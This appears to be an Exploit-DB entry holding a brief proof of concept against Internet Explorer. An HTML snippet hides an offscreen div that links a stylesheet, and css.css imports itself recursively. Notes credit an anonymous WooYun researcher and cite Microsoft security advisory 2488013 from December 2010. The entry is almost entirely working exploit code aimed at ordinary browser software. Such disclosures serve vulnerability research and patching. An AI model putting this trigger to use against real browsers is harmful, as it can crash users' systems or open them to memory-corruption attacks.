<code> <div style="position: absolute; top: -999px;left: -999px;"> <link href="css.css" rel="stylesheet" type="text/css" /> </code> <code of css.css> *{ color:red; } @import url("css.css"); @import url("css.css"); @import url("css.css"); @import url("css.css"); </code> Exploit-DB Notes: * Original credit goes to an unidentified researcher using WooYun anonymous account "路人甲". WooYun is a connection platform for vendors and security researchers: http://www.wooyun.org/bugs/wooyun-2010-0885 * Dec 22, 2010 - Microsoft releases security advisory for this vulnerability: http://www.microsoft.com/technet/security/advisory/2488013.mspx